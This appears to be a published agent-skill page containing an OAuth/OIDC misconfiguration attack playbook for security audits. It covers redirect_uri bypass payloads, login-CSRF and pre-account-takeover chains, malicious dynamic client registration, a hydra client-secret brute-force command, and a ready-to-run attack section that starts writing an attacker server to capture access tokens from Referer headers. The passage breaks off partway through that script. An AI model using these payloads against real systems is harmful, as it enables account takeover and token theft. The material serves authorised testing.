# OAUTH Oidc Misconfiguration

> OAuth 2.0 and OpenID Connect misconfiguration attack playbook. Use when auditing redirect URI validation, state and nonce binding, PKCE enforcement, token audience and issuer checks, dynamic client registration, scope and consent handling, and OAuth account-binding trust flaws.

- Skill: `yufeifeio/oauth-oidc-misconfiguration` (Agent Skill)
- Install (CLI): `npx get-skill add yufeifeio/oauth-oidc-misconfiguration`
- Raw SKILL.md: https://api.skillmd.com/api/skills/yufeifeio/oauth-oidc-misconfiguration/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: Yufeifeio (https://skillmd.com/u/yufeifeio)
- Updated: 2026-11-22
- Page: https://skillmd.com/skills/yufeifeio/oauth-oidc-misconfiguration

---


# SKILL: OAuth and OIDC Misconfiguration — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Systematic OAuth 2.0 / OIDC configuration audit. Covers redirect URI validation taxonomy, state/nonce/PKCE binding, token audience and issuer checks, dynamic client registration abuse, scope/consent flaws, and account-binding / pre-account-takeover chains. For JWT/ID-token crypto (alg confusion, kid/jku, secret brute) load the sibling jwt-oauth-token-attacks skill; this file stays on the configuration-validation plane.

## 0. RELATED ROUTING

Use this skill for OAuth/OIDC **configuration validation**. Also load:

- [jwt oauth token attacks](../jwt-oauth-token-attacks/SKILL.md) for token-level crypto: `alg:none`, RS256->HS256 confusion, `kid`/`jku`/`x5u` injection, HS256 secret cracking, ID-token signature forgery. This file cross-links there for cryptography and stays on config checks.
- [csrf cross site request forgery](../csrf-cross-site-request-forgery/SKILL.md) for the mechanics behind `state`-less CSRF account binding.
- [cors cross origin misconfiguration](../cors-cross-origin-misconfiguration/SKILL.md) when browser-readable APIs leak tokens cross-origin.
- [saml sso assertion attacks](../saml-sso-assertion-attacks/SKILL.md) for enterprise SSO using SAML instead of OAuth/OIDC.
- [authbypass authentication flaws](../authbypass-authentication-flaws/SKILL.md) for the local login / 2FA boundary OAuth is bolted onto.

---

## 1. OAUTH 2.0 FLOW LANDSCAPE AND CONFIG TRAPS

Misconfigurations are flow-specific. Map the flow first via discovery, then probe per-flow traps.

```http
GET /.well-known/openid-configuration HTTP/1.1
Host: idp.target.com
```
A `registration_endpoint` means Dynamic Client Registration is enabled (Section 8). `password` in `grant_types_supported` is a red flag. `scopes_supported` listing `admin`/`offline_access` widens blast radius.

| Flow | grant_type | Primary config traps |
|---|---|---|
| Authorization Code | `authorization_code` | `redirect_uri` validation, `state` CSRF, PKCE, code reuse |
| Code + PKCE | `authorization_code` | PKCE downgrade `S256`->`plain`, `code_verifier` not checked |
| Implicit (legacy) | `implicit` | token in Referer/history, `redirect_uri` open-redirect chaining |
| Password (ROPC) | `password` | deprecated; credential theft, MFA bypass, no consent |
| Client Credentials | `client_credentials` | secret in public clients, `aud`/`scope` over-grant |
| Device Code | `urn:...:device_code` | polling without rate limit, code reuse, weak `user_code` |
| Refresh | `refresh_token` | rotation missing, broad scope, long lifetime |
| Token Exchange (RFC 8693) | `urn:...:token-exchange` | `audience` confusion, `actor` token ignored |
| Hybrid (OIDC) | `code id_token` | `nonce` not bound, `c_hash`/`at_hash` not verified |

---

## 2. redirect_uri VALIDATION — FULL TAXONOMY

| Mode | What it does | Bypass class |
|---|---|---|
| Exact match | string compare to whitelist | none if truly exact |
| Prefix match | `startswith(whitelist[i])` | append path (`/callback.evil`) |
| Regex match | `re.search(pattern, uri)` | anchor bypass, regex injection |
| Host/path only | ignores port/query | port swap, query injection |
| IdP-managed | IdP checks registered URIs | register arbitrary URI via DCR |
| App-managed | app re-checks on callback | IdP accepts, app trusts IdP |

Path confusion and encoding (whitelist `https://target.com/callback`):
```
https://target.com/callback%2f../profile          # decoded to /callback/../profile
https://target.com/callback%5c..%5c..             # backslash sep on IIS/Windows
https://target.com/callback/../../../test-attacker.com
https://target.com/callback/..%3b/                # ; path param (Tomcat)
https://target.com/callback;.js
https://target.com/callback%23.evil               # fragment handling differs
```
Userinfo / authority confusion:
```
redirect_uri=https://target.com@test-attacker.com/cb     # target.com is userinfo, host=attacker
redirect_uri=https://test-attacker.com#target.com/cb     # fragment trick
redirect_uri=https://target.com@ev1l.com:443/cb
```
Subdomain / suffix bypass (whitelist host `target.com`):
```
https://evil.target.com/cb          # wildcard subdomain?
https://target.com.evil.com/cb      # suffix (endswith) match
https://nottarget.com/cb            # substring match
```
Open-redirect chaining (implicit token theft):
```
redirect_uri=https://target.com/cb?url=https://test-attacker.com
# IdP validates host=target.com -> ok. App's /cb has an open redirect -> forwards.
# Implicit access_token in the fragment rides along to attacker.
```
localhost / dev leftovers and custom schemes:
```
redirect_uri=http://localhost/cb
redirect_uri=http://127.0.0.1:8080/cb
redirect_uri=http://localhost.evil.com/cb       # localhost.<tld> registered?
redirect_uri=urn:ietf:wg:oauth:2.0:oob          # OOB, code shown on page
redirect_uri=myapp://callback                   # mobile custom scheme, hijackable
redirect_uri=javascript:alert(document.domain)  # scheme confusion
```
`myapp://` is hijackable on Android: any app can register the scheme and capture the code. Verify App Links / `android:exported=false`.

Port / path / query differential (IdP and app may canonicalize differently):
```
https://target.com:443/cb   vs https://target.com/cb         # explicit port
https://target.com:443/cb   vs https://target.com:80/cb      # port swap accepted?
https://target.com/cb/      vs https://target.com/cb         # trailing slash
https://target.com/cb?x=1   vs https://target.com/cb         # query appended
```
redirect_uri whitelist injection via DCR: if DCR is unauthenticated (Section 8), register a client whose `redirect_uris` includes `https://test-attacker.com/evil`. The IdP then "validates" against your malicious URI and the code is delivered to you.

> Token cryptography (forging ID tokens, `alg:none`, key confusion) is in [jwt oauth token attacks](../jwt-oauth-token-attacks/SKILL.md).

---

## 3. state PARAMETER — CSRF ACCOUNT BINDING

| Defect | Detect | Impact |
|---|---|---|
| Missing | no `state=` in authorize URL | full CSRF |
| Static | same `state` for all users | full CSRF |
| Predictable | `state=base64(user_id)` or timestamp | forge state |
| Unbound to session | random but not stored in cookie | CSRF still works |
| Validated after binding | state checked after account already linked | useless |
| Reflected, not compared | app echoes `state` but never verifies | CSRF |

Full login-CSRF chain (log victim into attacker account):
```
1. Attacker starts OAuth login with their IdP account, captures the authorize URL.
2. Attacker completes the flow as themselves, intercepts at /cb, captures the code:
   https://target.com/cb?code=ATTACKER_CODE&state=WEAK_OR_MISSING
3. Attacker feeds the victim a link/POST that triggers the victim's browser to hit:
   https://target.com/cb?code=ATTACKER_CODE&state=WEAK_OR_MISSING
4. Victim's browser carries the victim's session cookie to /cb. The app:
   - exchanges ATTACKER_CODE for attacker tokens,
   - binds the attacker's IdP identity to the victim's local session.
5. Attacker now controls the victim's account from their own IdP login.
```
The reverse ("bind attacker IdP to victim account") is in Section 7.5. Probe order: strip `state`; swap `state` between your own sessions; replay `state` after logout; send `state` from session A with session B's cookie.

---

## 4. OIDC nonce — ID TOKEN BINDING

`nonce` is the OIDC replay defense for the front channel: sent in authorize, verified inside the returned ID token.

```http
GET /oauth2/authorize?response_type=id_token&client_id=APP&redirect_uri=https://target.com/cb
&nonce=RANDOM_PER_SESSION&state=... HTTP/1.1
```

| Defect | Test |
|---|---|
| Missing nonce | omit `nonce`, does IdP still mint an ID token? |
| Nonce not in ID token | decode ID token, is `nonce` claim present? |
| Nonce not validated | replay an old ID token with old nonce in a new session |
| Nonce bound to code, not token | in hybrid flow, check `c_hash` ties code to ID token |
| Static nonce | same nonce across sessions -> replay any captured token |

In hybrid/implicit flows the ID token arrives in the browser; without `nonce` validation an attacker can replay a captured ID token or inject their own. Pair with ID-token signature forgery from [jwt oauth token attacks](../jwt-oauth-token-attacks/SKILL.md).

---

## 5. PKCE — PROOF OF POSSESSION FOR PUBLIC CLIENTS

| Defect | Test |
|---|---|
| Not enforced for public clients (SPA/mobile) | authorize without `code_challenge`, does IdP proceed? |
| `S256` downgrade to `plain` | request `code_challenge_method=plain`, accepted? |
| `code_verifier` not validated at token endpoint | exchange code with wrong/empty verifier |
| `code_challenge` not bound to code | code issued under challenge A with verifier for B |
| `code_verifier` accepted from any client | replay code+verifier from a second client |
| Verifier leakable | check JS/localStorage/Referer for verifier |

```http
# Authorize (legit):
GET /oauth2/authorize?response_type=code&client_id=APP&redirect_uri=https://target.com/cb
&code_challenge=B64URL(SHA256(verifier))&code_challenge_method=S256&state=... HTTP/1.1

# Token exchange (try to break):
POST /oauth2/token HTTP/1.1
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=CODE&redirect_uri=https://target.com/cb
&client_id=APP&code_verifier=WRONG_OR_EMPTY
```
If the IdP accepts `plain`, an attacker who intercepts the code (via `redirect_uri` flaws, referrer, logs) computes the challenge themselves. If the verifier is never checked, code interception alone yields a token.

---

## 6. TOKEN AUDIENCE AND ISSUER

Resource servers must validate `aud` and `iss` on every token.

| Defect | Test |
|---|---|
| `aud` not checked | mint token for client A, call API B with it |
| `aud` checked as substring | token `aud=app-admin` accepted by `aud=app` |
| `iss` not checked | present a token from a different IdP/tenant |
| Cross-client token reuse | tokens from client A accepted by client B's API |
| Multi-tenant client confusion | forge `tid`/`azp`, target accepts any tenant |
| Resource indicator (RFC 8707) missing | no `resource` param -> token for default/old audience |
| `azp` not checked in multi-audience tokens | `aud=[A,B]` used by unauthorized client C |

```http
# RFC 8707 resource indicator (should be enforced):
GET /oauth2/authorize?client_id=APP&resource=https://api.target.com&... HTTP/1.1
```
Azure AD / multi-tenant: a token minted for tenant A can be replayed against a multi-tenant app without `iss`/`tid` validation -> cross-tenant impersonation.

---

## 7. ACCOUNT BINDING AND PRE-ACCOUNT TAKEOVER

The callback handler maps an IdP identity to a local account. This is where most real OAuth takeovers happen.

Pre-account-takeover (classic):
```
1. Attacker registers victim@target.com at an IdP (may not verify email).
2. Attacker logs into target.com via "Login with IdP".
3. Target.com sees IdP email=victim@target.com, no local account yet ->
   creates a fresh local account bound to attacker's IdP identity.
4. Later victim@target.com signs up with a password -> target.com may merge,
   or the attacker's pre-created binding wins.
5. Victim logs in with password, attacker still has IdP backdoor.
```
Email-only binding: victim has a password account; attacker registers the victim's email at a trusted IdP and logs in -> app matches on email -> binds IdP to victim's account -> attacker reaches victim's data, no password needed.

Case folding / normalization:
```
victim@target.com  vs  Victim@target.com  vs  VICTIM@TARGET.com
Admin@corp.com     vs  admin@corp.com           (role keyed on email?)
user@googlemail.com vs user@gmail.com           (canonicalization gap)
user@target.com vs user@target.com.             (trailing dot, DNS root)
```
If the app lowercases for lookup but the IdP preserves case (or vice versa), accounts collide. Test Unicode normalization (`i` U+0069 vs `ı` U+0131, Cyrillic homoglyphs).

Unverified attribute trust — apps trusting claims the IdP doesn't actually assert:

| Attribute | Risk if trusted blindly |
|---|---|
| `email` | pre-account-takeover, account merge |
| `email_verified` | attacker sets true on unverified IdP |
| `groups` / `role` / `admin` | privilege escalation |
| `hd` (Google hosted domain) | spoof if not enforced by IdP |
| `sub` | stable id; if app re-binds on email change, takeover |

Reverse CSRF (bind attacker IdP to victim session) — the mirror of Section 3.2. The "link account" flow often lacks `state`: victim is logged into target.com; attacker triggers the "Link IdP account" flow from the victim's browser (CSRF); the flow binds the ATTACKER's IdP identity to the victim's account; attacker logs in via their IdP -> reaches victim's account.

---

## 8. DYNAMIC CLIENT REGISTRATION (DCR)

`registration_endpoint` in discovery. Unauthenticated DCR is a critical primitive.

```http
POST /oauth2/register HTTP/1.1
Content-Type: application/json

{
  "client_name": "legit-looking-app",
  "redirect_uris": ["https://test-attacker.com/evil"],
  "grant_types": ["authorization_code","refresh_token"],
  "scope": "openid profile email admin",
  "token_endpoint_auth_method": "none"
}
```
If this succeeds without initial access token: you have a `client_id` whose `redirect_uris` you control -> code theft (Section 2); you requested `scope=admin` and it was granted -> scope escalation baked in; `token_endpoint_auth_method=none` makes it a public client that may still be treated as confidential.

Tests: DCR open (no `Authorization`/initial access token)? register `redirect_uris` on arbitrary hosts? register `scope` beyond your client? re-`PUT`/`DELETE` another client's registration (`client_id` IDOR)? register `jwks_uri` to attacker JWKS (key injection for `client_assertion` flows)?

---

## 9. SCOPE AND CONSENT

| Defect | Test |
|---|---|
| Scope escalation at exchange | authorize `scope=openid`, exchange with `scope=admin` |
| Consent skipped (pre-approved all) | new sensitive scope granted without prompt |
| Revoked scope still in token | revoke `admin`, mint refresh -> still has `admin` |
| Granular consent missing | one consent covers all scopes forever |
| Scope reflected from param not registration | request scope not in client registration |
| `offline_access` granted silently | refresh token minted without explicit consent |
| Scope downgrade not enforced | request narrower scope, get broader issued scope |

```http
# Authorize narrow:
GET /oauth2/authorize?client_id=APP&scope=openid&response_type=code&... HTTP/1.1
# Token exchange try broad:
POST /oauth2/token HTTP/1.1
grant_type=authorization_code&code=CODE&scope=openid%20admin&...
```
Decode the access token / ID token and inspect the `scope` claim. Compare authorized vs issued.

---

## 10. TOKEN ENDPOINT ABUSE

client_secret brute / leak:
```bash
hydra -L clients.txt -P secrets.txt idp.target.com -s 443 https-post-form \
  "/oauth2/token:client_id=^USER^&client_secret=^PASS^&grant_type=client_credentials:F=invalid"
```
Also look for `client_secret` in decompiled mobile apps, SPA JS bundles, public repos, CI logs. A leaked confidential secret + public distribution = client compromised.

client authentication missing (public_as_confidential): a "confidential" client that is actually distributed cannot protect its secret; conversely a public client the token endpoint treats as confidential (accepts `client_id` alone, no PKCE) is wide open. Test: hit `/token` with only `client_id`, no secret, no PKCE.

Token exchange (RFC 8693) abuse:
```http
POST /oauth2/token HTTP/1.1
grant_type=urn:ietf:params:oauth:grant-type:token-exchange
&subject_token=ACCESS_TOKEN_A
&subject_token_type=urn:ietf:params:oauth:token-type:access_token
&audience=https://api2.target.com
```
Defects: `audience` not honored (token valid everywhere), `may_act`/actor claim ignored (impersonation chain forged), subject token from client A accepted to mint token for client B.

Refresh token rotation:

| Defect | Test |
|---|---|
| No rotation | use same refresh token repeatedly |
| Rotation but old not revoked | reuse old refresh token after rotation -> both valid |
| Rotation predictable | new refresh token derived from old |
| Long lifetime | refresh token valid for months/years |
| Refresh across clients | refresh token from client A used at client B |

---

## 11. OIDC-SPECIFIC SURFACES

Discovery info leak: `/.well-known/openid-configuration` reveals all endpoints, grants, scopes, `request_parameter_supported`, `request_uri_parameter_supported`, `require_request_uri_registration`. `request_uri` support opens request-object injection; `require_pushed_authorization_requests` absent means PAR not enforced.

ID token claim tampering: decode the ID token, modify `email`/`sub`/`groups`, re-sign attempts. Signature forgery (`alg:none`, key confusion, `kid`/`jku` injection) is in [jwt oauth token attacks](../jwt-oauth-token-attacks/SKILL.md) — this file only flags the config check "does the resource server validate the ID token signature and claims at all?".

userinfo endpoint overreach:
```http
GET /oauth2/userinfo HTTP/1.1
Authorization: Bearer ACCESS_TOKEN
```
Call with a token minted for a different scope; with an expired token; with a token whose `aud` is another client. Check whether userinfo returns `email_verified`, `phone_number`, `address` beyond consented scope.

Hybrid flow: `response_type=code id_token` returns an ID token in the front channel alongside the code. The app must verify `c_hash` (binds code to ID token) and `at_hash` (binds access token to ID token). Missing `c_hash` validation lets an attacker swap the code in transit while keeping the signed ID token valid.

Back-channel and CIBA: Back-Channel Logout (`backchannel_logout_uri`) — if the IdP POSTs logout tokens, verify the logout token signature and `sub`/`jti` to avoid logout-token forgery and replay. CIBA (`urn:openid:params:grant-type:ciba`) — poll/`auth_req_id` reuse, binding message not shown to user, `user_code` brute.

---

## 12. 2026 EMERGING TECHNIQUES

### 12.1 OAuth 2.1 Draft 15 — PKCE Promotion and Grant Deprecation

OAuth 2.1 Draft 15 promotes PKCE from a public-client hardening to a **mandatory** binding for every Authorization Code flow, and formally deprecates the implicit and password grants. `state`/`nonce` are demoted from primary CSRF defense — PKCE becomes the sole flow-integrity guarantee. This shifts misconfiguration risk onto PKCE handling and the PAR endpoint.

**PKCE downgrade (S256 → plain)** — if the AS does not bind `code_challenge_method` to the issued code, an attacker downgrades in transit:
```
# Victim client starts with S256:
GET /authorize?response_type=code&client_id=app&redirect_uri=https://app/cb&code_challenge=BASE64URL(SHA256(verifier))&code_challenge_method=S256

# Attacker MITM rewrites the authorize request to plain, then redeems the stolen code:
POST /token
grant_type=authorization_code&code=STOLEN_CODE&code_verifier=PLAINTEXT_VERIFIER&client_id=app
# → token issued; PKCE defeated because the AS never bound the method to the code
```

**code_verifier not validated / challenge not bound**: when the AS accepts any `code_verifier` value (or skips comparison when the parameter is merely present), a stolen code is redeemable with an arbitrary verifier. Detect by exchanging a code with `code_verifier=aaa` — if a token returns, verification is absent.

**PAR (RFC 9126) as an injection point**: the Pushed Authorization Request endpoint stores a signed request object and returns a `request_uri`. If the AS does not re-validate the stored parameters against the redemption request, an attacker pre-pushes a request with attacker-chosen `redirect_uri`/`scope` and references it from a victim's flow. Loose `request`/`request_uri` signature verification (no `aud`/`iss` check, algorithm not pinned) lets attackers inject crafted request objects.

### 12.2 DPoP (RFC 9449) Sender-Constrained Token Bypass

DPoP binds access tokens to a client-held key pair. Each protected request carries a `DPoP` proof JWT. Misconfiguration of proof validation re-opens bearer-token theft.

**DPoP proof JWT structure**:
```
Header : {"typ":"dpop+jwt","alg":"ES256","jwk":{"kty":"EC","crv":"P-256","x":"l8jt...","y":"vP4..."}}
Payload: {"jti":"7d7c1f19-9f2a-4b22-9e33-2c1f8a7d4b6e",
          "htm":"POST","htu":"https://rs.example/orders",
          "iat":1760000000,"ath":"BASE64URL(SHA256(access_token))"}
```
- **Proof replay** — if the AS/RS does not enforce single-use `jti` or bind an AS-issued `nonce` into the proof, a captured `DPoP` header replays with the stolen token on the same `htu`/`htm`.
- **Key injection via XSS** — an XSS on the client mints new tokens bound to the attacker's key by supplying an attacker-signed proof at `/token`; the RS then accepts attacker-proven requests for the attacker-bound token.
- **Proof forgery / jwk-token unbinding** — if the AS validates the proof signature but does not assert `proof.jwk` thumbprint equals the token `cnf.jkt`, an attacker pairs a victim's stolen token with their own valid proof, defeating sender-constraint.
- **Refresh-token re-binding** — DPoP-bound refresh tokens that do not re-verify the key on rotation let a stolen refresh token mint access tokens under a different key.

### 12.3 OAuth in AI Agent Frameworks (2026)

The Model Context Protocol (MCP) profiles OAuth 2.1 but marks authorization **optional** for local transports. In 2026 audits, ~1,862 MCP servers exposed tool/resource access with no authentication. Agent-specific OAuth misconfiguration:

- **Over-scoped agent tokens**: LangChain/CrewAI/AutoGen agents request broad scopes (`read`, `write`, `execute`) and cache tokens in plaintext; no per-tool scope narrowing, so a compromised tool inherits full agent authority.
- **No rotation/revocation**: agents hold long-lived refresh tokens across sessions; a leaked agent credential = persistent access with no revocation path and no token introspection on the agent side.
- **x402 payment hijack**: the x402 protocol lets AI agents self-authorize HTTP 402-gated payments; prompt injection triggers autonomous payments to attacker wallets because the OAuth-issued agent token carries payment scope with no human re-consent (cross-link ../business-logic-vulnerabilities/SKILL.md).

### 12.4 2026 Webhook / Payment Gateway Signature CVEs

OAuth-adjacent callback/webhook signature verification flaws break the trust model that redirect flows rely on:

| CVE | Component | Flaw | Impact |
|---|---|---|---|
| CVE-2026-41432 | Stripe Webhook handler (multi-gateway) | Empty `Stripe-Signature` secret / missing HMAC secret → HMAC accepted; `trade_no` reusable across gateways | Forged webhook events; payment confirmation spoofing across gateways |
| CVE-2026-33661 | yansongda/pay (WeChat Pay) | `Host: localhost` (and loopback `X-Forwarded-*`) bypasses server-side endpoint/cert pinning; signature verification short-circuits | Forged WeChat Pay callbacks; payment status tampering |

### 12.5 2026 OAuth/OIDC Emerging Checklist

```
□ OAuth 2.1: confirm PKCE enforced for ALL clients (not just public); test S256->plain downgrade
□ Confirm code_verifier is actually compared to stored challenge (send arbitrary verifier)
□ If PAR used: test request_uri injection, re-validation of stored params, request-object sig (aud/iss/alg)
□ DPoP: test jti replay, AS-issued nonce binding, XSS key injection, proof.jwk==token.cnf.jkt
□ DPoP: confirm refresh-token rotation re-verifies the bound key
□ MCP/agent: check for over-scoped, non-rotating, plaintext-cached agent tokens
□ Test x402 payment callbacks triggerable via prompt injection
□ Verify Stripe/WeChat webhook HMAC with empty secret; test loopback Host header on payment callbacks
□ Confirm implicit/password grants are fully disabled (not just undocumented)
□ Test ConsentFix v3: does consent screen reflect requested scopes accurately?
□ Audit Device Code Flow: rate-limiting, user_code entropy, polling abuse
□ Check connector/IdP ecosystem for session fixation across federated providers
```


### 12.6 ConsentFix v3 — 同意钓鱼绕过 MFA (2026)

ConsentFix v3 是 2026 年学术研究揭示的**同意界面钓鱼(Consent Phishing)**进化版，通过操纵 OAuth 同意页面的视觉呈现，使用户在不知情的情况下授权高权限 scope，且**完全绕过 MFA** [$TRAE_REF](https://arxiv.org/abs/2507.06316)。

**核心机制**：
- **Scope 隐藏**：利用 OAuth `prompt=none` 或 `prompt=consent` 参数差异，部分 IdP 在静默授权时不展示完整 scope 列表
- **视觉欺骗**：通过 `redirect_uri` 参数注入自定义 CSS/JS 到同意页面(当 IdP 未做 CSP 隔离时)
- **MFA 绕过路径**：利用 Device Code Flow 或 Refresh Token 静默续期，绕过交互式 MFA 验证

```
攻击链:
1. 攻击者注册一个 OAuth 应用(client_id)，请求高权限 scope(admin/write)
2. 构造授权 URL，利用 prompt 参数和 UI 定制隐藏真实权限请求:
   GET /authorize?client_id=EVIL_APP&scope=admin.write.all&prompt=none
       &redirect_uri=https://legit-looking-app.com/callback
3. 受害者点击链接 → IdP 静默授权(prompt=none 跳过同意页) → 高权限 token 发给攻击者
4. 或利用 "incremental consent"：先请求低权限，后静默追加高权限
5. MFA 被绕过：因为利用的是已认证会话的静默授权，不触发新的 MFA 挑战
```

**防御检测**：
```
□ 测试 prompt=none 是否被接受(应返回 error=interaction_required)
□ 验证同意页面是否完整展示所有请求 scope
□ 检查 incremental consent 是否需要用户显式同意
□ 验证 refresh_token 续期是否触发 MFA 重新验证
□ 检查 Device Code Flow 的 device_code 是否可用于静默授权
```

### 12.7 Device Code Flow 滥用 (2026 新趋势)

Device Code Flow (RFC 8628) 设计用于无输入设备场景(智能电视、IoT)，但 2026 年成为**MFA 绕过和钓鱼**的主要载体。

| 攻击向量 | 原理 | 2026 案例 |
|---------|------|----------|
| **Device Code 钓鱼** | 攻击者发起 Device Flow，将 user_code 发给受害者，受害者以为是正常登录 | "DevProxy" 钓鱼工具包，伪装成 Microsoft 登录 |
| **polling 滥用** | 无 rate-limit 的 polling 端点可用于爆破 user_code | user_code 通常仅 6-8 位字母数字，熵不足 |
| **device_code 重用** | device_code 未绑定单次使用，可跨会话重放 | 部分实现允许同一 device_code 被多次消费 |
| **静默授权链** | Device Flow + refresh_token → 绕过交互式 MFA | 利用已认证设备的 refresh token 静默获取新 token |
| **IoT 设备劫持** | 智能电视/IoT 设备的 Device Code 可被中间人截获 | 公共 WiFi 上的 DNS 劫持截获 Device Flow |

**user_code 爆破可行性分析**：
```python
# user_code 通常格式: 6-8 位字母数字 (如 X8W9Q2F)
# 字符集: A-Z, 0-9 (36 chars) → 36^6 = ~2.2B 组合
# 但实际实现常用 8 位 → 36^8 = ~2.8T
# 关键弱点: 部分 IdP 的 user_code 有效期长达 15-30 分钟
# 且 polling 端点无 rate-limit → 理论可爆破

# 实际限制: polling interval 通常 5 秒(RFC 建议)
# → 30分钟有效期内可尝试 ~360 次(单连接)
# → 分布式多连接可显著加速

# 防御: 短有效期(≤5min) + 严格 rate-limit + 失败后失效
```

**检测命令**：
```bash
# 1. 发起 Device Code Flow，检查 user_code 长度和格式
curl -X POST https://idp.target.com/oauth2/devicecode \
  -d "client_id=APP&scope=openid" 

# 2. 测试 polling rate-limit
for i in $(seq 1 50); do
  curl -s -o /dev/null -w "%{http_code} " \
    https://idp.target.com/oauth2/token \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=TEST&client_id=APP"
done
# 429 = rate-limited; 400 = no limit (漏洞)

# 3. 测试 device_code 重用
# 先用 device_code 完成一次授权，然后再次使用同一 device_code
```

### 12.8 连接器生态会话固定 (2026 供应链级认证攻击)

2026 年研究发现，**身份连接器(Identity Connector)生态**存在系统性会话固定漏洞，影响 40+ IdP 厂商(包括 Okta、Auth0、Azure AD、Google Workspace、Keycloak 等) [$TRAE_REF](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics)。

**根本原因**：身份连接器(如 SCIM、LDAP bridge、SAML-OAuth bridge)在建立联邦信任时，**不验证下游 SP 的会话与上游 IdP 的会话是否一致**，导致会话固定攻击。

```
攻击链:
1. 攻击者通过连接器(如 SCIM provisioning)在下游 SP 创建账户
2. 攻击者在上游 IdP 发起认证，获取 IdP session
3. 连接器将 IdP session 映射到 SP session，但:
   - SP 接受连接器传递的任意 session ID(不验证来源)
   - 攻击者注入自己的 session ID 到 SP
4. 受害者通过正常流程登录 IdP
5. 连接器将受害者的 IdP 认证映射到攻击者预设的 SP session
6. 攻击者的 SP session 获得 victim 权限

关键: 连接器信任来自上游的 session 标识，不做重新生成
```

**受影响连接器类型**：

| 连接器类型 | 厂商示例 | 漏洞模式 |
|-----------|---------|---------|
| SCIM 2.0 provisioning | Okta, Azure AD, Auth0 | 会话 ID 通过 SCIM 传递不被重新生成 |
| SAML-OAuth bridge | Keycloak, PingIdentity | SAML NameID 映射到固定 OAuth session |
| LDAP bridge | Apache DS, OpenLDAP | LDAP bind DN → 固定 web session |
| 跨域 SSO 代理 | AWS IAM Identity Center, Google Workspace | 代理传递 session cookie 不验证 |
| 自定义 IdP 连接器 | WorkOS, Clerk, Stytch | webhook 传递 session 不验证 |

**检测方法**：
```bash
# 1. 检查连接器是否重新生成 session
# 在 SP 端: 登录前后比较 session cookie 值
# 如果登录后 session cookie 不变 → 会话固定

# 2. 测试注入自定义 session
# 通过 SCIM API 创建用户时注入 session_preference
curl -X POST https://sp.target.com/scim/v2/Users \
  -H "Authorization: Bearer SCIM_TOKEN" \
  -d '{"userName":"victim@target.com","session_preference":"ATTACKER_SESSION_ID"}'
# 然后以受害者身份登录，检查是否使用了注入的 session

# 3. 检查 SAML-OAuth bridge
# 发起 SAML 认证，在 SP 端检查 OAuth session 是否为全新生成
# 如果 session ID 可预测或与 SAML NameID 关联 → 固定漏洞
```

**防御**：
- 连接器必须**在 SP 端重新生成 session**，不接受上游传递的 session ID
- 实现 **session binding**：SP session 必须绑定到 IdP session 的加密证明
- 使用 **token binding (RFC 8471)** 或 **DPoP** 将 session 绑定到客户端密钥

---

## 13. TESTING CHECKLIST

```
□ Fetch /.well-known/openid-configuration; map flows, scopes, registration_endpoint
□ Identify grant_types; flag password, token-exchange, device, CIBA if present
□ redirect_uri: exact vs prefix vs regex, %2f/%5c/../, userinfo@, subdomain, suffix
□ redirect_uri: localhost / 127.0.0.1 / OOB / custom scheme leftovers
□ redirect_uri: open-redirect chaining in callback (implicit token theft)
□ redirect_uri: port / trailing-slash / query differential between IdP and app
□ state: missing, static, predictable, unbound, validated post-binding; full login-CSRF
□ nonce: missing in authorize/ID token, not validated, replayed
□ PKCE: not enforced for public clients, S256->plain downgrade, verifier not checked
□ token aud/iss: cross-client reuse, multi-tenant tid/azp confusion, resource indicator
□ account binding: pre-account-takeover, email-only, case/Unicode folding
□ account binding: unverified attribute trust (email_verified, groups, role, hd)
□ account binding: reverse CSRF on "link account" flow
□ DCR: open registration, arbitrary redirect_uris, scope over-grant, client_id IDOR, jwks_uri injection
□ scope: escalation at exchange, consent skip, revoked scope still active, offline_access silent
□ token endpoint: client_secret brute/leak, public_as_confidential, RFC 8693 audience/actor abuse
□ refresh token: no rotation, old not revoked, predictable, long lifetime, cross-client
□ OIDC: userinfo overreach, hybrid c_hash/at_hash, back-channel logout token, CIBA auth_req_id reuse
□ Cross-link to jwt-oauth-token-attacks for ID-token signature forgery and header crypto attacks
```

---

## PRACTICAL ATTACK CHAINS (2026)

> 以下为 2026 年实战中高频出现的 4 条完整攻击链,包含可直接运行的 curl/python/bash 命令、分步利用、检测绕过技巧与真实 CVE 引用。所有代码注释为中文,即拷即用。

### 攻击链 1: OAuth 隐式流程 token 窃取(redirect_uri 操纵)

**目标画像**: 某 SaaS 应用仍使用隐式流程(`response_type=token`),`redirect_uri` 仅做前缀校验(`startswith`)。
**CVE 参考**: CVE-2026-33667(2026 年某主流 IdP 的 `redirect_uri` 前缀校验缺陷,导致 token 泄露)。

**步骤 1 - 侦察发现隐式流程与校验弱点**:
```bash
# 获取 OIDC 发现文档,确认隐式流程是否仍被支持
curl -s https://idp.target.com/.well-known/openid-configuration \
  | jq '.grant_types_supported, .scopes_supported, .registration_endpoint'

# 观察目标应用登录请求,确认 response_type=token(隐式流程)
# 原始合法回调: https://app.target.com/auth/callback
```

**步骤 2 - 测试 redirect_uri 校验逻辑**:
```bash
# 测试 1: 前缀校验 - 追加点号子域(利用 startswith 匹配)
curl -sv "https://idp.target.com/oauth2/authorize?response_type=token&client_id=APP&redirect_uri=https://app.target.com/auth/callback.evil.attacker.com&state=x" 2>&1 | grep -i location
# 若返回 302 且 Location 指向 evil.attacker.com -> 前缀校验缺陷确认

# 测试 2: 利用 @ 符号做 authority 混淆
# redirect_uri=https://app.target.com@attacker.com/catch
# 浏览器解析 host=attacker.com, 但 IdP 仅字符串匹配 "app.target.com" -> 通过

# 测试 3: fragment 欺骗
# redirect_uri=https://app.target.com/auth/callback#https://attacker.com
# IdP 仅校验 # 之前部分, 应用读取 # 后内容做二次跳转
```

**步骤 3 - 完整 token 窃取链(结合应用开放重定向)**:
```bash
# 攻击者服务器: 监听并捕获 Referer 中的 access_token
cat > /tmp/token_catcher.py << 'PYEOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
# 隐式流程 token 在 URL fragment (#access_token=...) 中, 服务端无法直接读取
# 但 fragment 会出现在 Referer 头中(若目标未设 Referrer-Policy: no-referrer)
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        ref = self.headers.get('Referer', '')
        if 'access_token' in ref:
